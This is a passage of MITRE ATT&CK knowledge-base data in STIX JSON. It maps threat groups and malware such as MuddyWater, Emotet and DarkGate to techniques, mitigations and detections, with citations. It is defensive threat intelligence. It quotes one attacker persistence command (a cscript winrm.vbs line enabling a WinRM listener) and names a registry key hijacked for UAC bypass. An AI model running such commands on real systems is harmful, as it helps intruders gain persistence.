","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b6f1db5-a16b-4bfa-aab0-9109abec30c2","created":"2024-06-18T20:17:03.047Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:17:03.047Z","description":"[Spica](https://attack.mitre.org/software/S1140) can use an obfuscated PowerShell command to create a scheduled task for persistence.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b6f869f-951c-4323-816f-dbedbe3aac0a","created":"2019-01-30T17:33:40.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater May 2019","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"},{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T19:41:53.184Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged WMI for execution and querying host information.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater May 2019)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b7972b8-9373-4f60-a0e5-7c1aca2c15a6","type":"relationship","created":"2020-06-25T19:57:54.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/hfiref0x/UACME","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","source_name":"Github UACMe"}],"modified":"2022-01-06T18:26:18.575Z","description":"Consider updating Windows to the latest version and patch level to utilize the latest protective measures against UAC bypass.(Citation: Github UACMe)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b7c7b5c-22df-4713-be96-818a8916e6d1","type":"relationship","created":"2020-10-15T02:59:38.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-15T02:59:38.710Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b85db78-5473-4cfb-8908-13b108289df2","created":"2022-09-22T21:18:41.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:45:25.618Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors enabled WinRM over HTTP/HTTPS as a backup persistence mechanism using the following command: `cscript //nologo \"C:\\Windows\\System32\\winrm.vbs\" set winrm/config/service@{EnableCompatibilityHttpsListener=\"true\"}`.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b885f53-1194-472d-a120-381f000d7b53","created":"2024-07-11T21:04:27.149Z","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-11T21:04:27.149Z","description":"[FRP](https://attack.mitre.org/software/S1144) can proxy communications through a server in public IP space to local servers located behind a NAT or firewall.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1b8e07df-204a-4742-b34c-40108fb5c3c8","created":"2022-04-19T03:15:30.716Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.","modified":"2022-04-19T03:15:30.716Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b92df4d-d064-4615-b27d-cf4d53ecc97b","type":"relationship","created":"2020-08-17T14:42:10.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:42:10.296Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used Windows services as a way to execute its malicious payload.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1b9546ba-1147-47f9-84ec-443e20351646","created":"2022-04-18T18:59:04.521Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.","modified":"2022-04-18T18:59:04.521Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b95cd32-155b-488d-bbf8-e16f22e2a1d5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T22:07:09.002Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has the capability to download files to execute on the victim’s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b996e11-03b7-48fc-9ce2-cd08fdf0d07d","created":"2022-06-10T17:28:17.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:45:54.142Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has deleted the target's systems and resources both on-premises and in the cloud.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1b9b061b-5ead-45f3-b4cc-30d8427b0649","created":"2019-07-09T17:54:21.051Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited CVE-2018-0798 in Equation Editor.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T13:58:15.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b9b84cc-f9c7-48c5-8e23-ac00a7a4691a","type":"relationship","created":"2020-05-27T18:25:52.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.814Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has collected hardware details for the victim's system, including CPU and memory information.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ba0b437-e809-479c-a254-172e706c3615","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.998Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can list local and remote shared drives and folders over SMB.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ba28e4c-66d1-4e45-bd21-44b7ea174579","created":"2023-10-03T19:34:22.028Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:34:22.028Z","description":"(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ba38510-0489-4305-944f-451e6869b30f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.450Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) encrypts C2 data with a ROR by 3 and an XOR by 0x23.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ba59a68-1883-492d-8cd8-f22656eb58a4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:27:32.176Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has collected emails from victim Microsoft Exchange servers.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ba80112-ffca-4c7e-ae63-fcbe3b9e689d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.726Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) has used macros in Word documents that would download a second stage if executed.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ba96cb7-3417-4091-af1f-c27d8e350ea1","created":"2024-03-01T19:02:45.297Z","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T19:02:45.297Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) exfiltrates data of interest from enterprise databases using Adminer.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bab673f-4d0f-473a-8c4d-9b6b53c1369d","type":"relationship","created":"2019-06-18T18:40:33.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-01-29T17:32:00.167Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) has used SQL to execute JavaScript and VB scripts on the host system.(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1bb9c007-9110-45c8-9d86-b6c20d408308","created":"2024-02-12T21:03:57.939Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:03:57.939Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) edits the Registry key HKCU\\Software\\Classes\\mscfile\\shell\\open\\command to execute a malicious AutoIt script.(Citation: Ensilo Darkgate 2018) When eventvwr.exe is executed, this will call the Microsoft Management Console (mmc.exe), which in turn references the modified Registry key.","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bbb499c-81c8-4e94-8305-86b199e8298b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha","description":"Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.","source_name":"Microsoft Wingbird Nov 2017"}],"modified":"2019-10-30T12:41:29.033Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1bbc2179-9302-4f21-98b8-b1f60ceafed3","created":"2023-04-10T19:33:59.586Z","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T19:33:59.586Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used tools that conducted a variety of system checks to detect sandboxes or VMware services.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1bc150db-66ca-4361-84a2-2dd0f104790f","created":"2019-03-26T19:23:01.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"Malwarebytes Emotet Dec 2017","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.","url":"https://support.malwarebytes.com/docs/DOC-2295"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T20:35:22.282Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has leveraged the Admin$, C$, and IPC$ shares for lateral movement. (Citation: Malwarebytes Emotet Dec 2017)(Citation: Binary Defense Emotes Wi-Fi Spreader) ","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bc5328a-e079-4478-9d04-d840626d4976","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-21T00:07:11.937Z","description":"[NDiskMonitor](https://attack.mitre.org/software/S0272) uses AES to encrypt certain information sent over its C2 channel.(Citation: TrendMicro Patchwork Dec 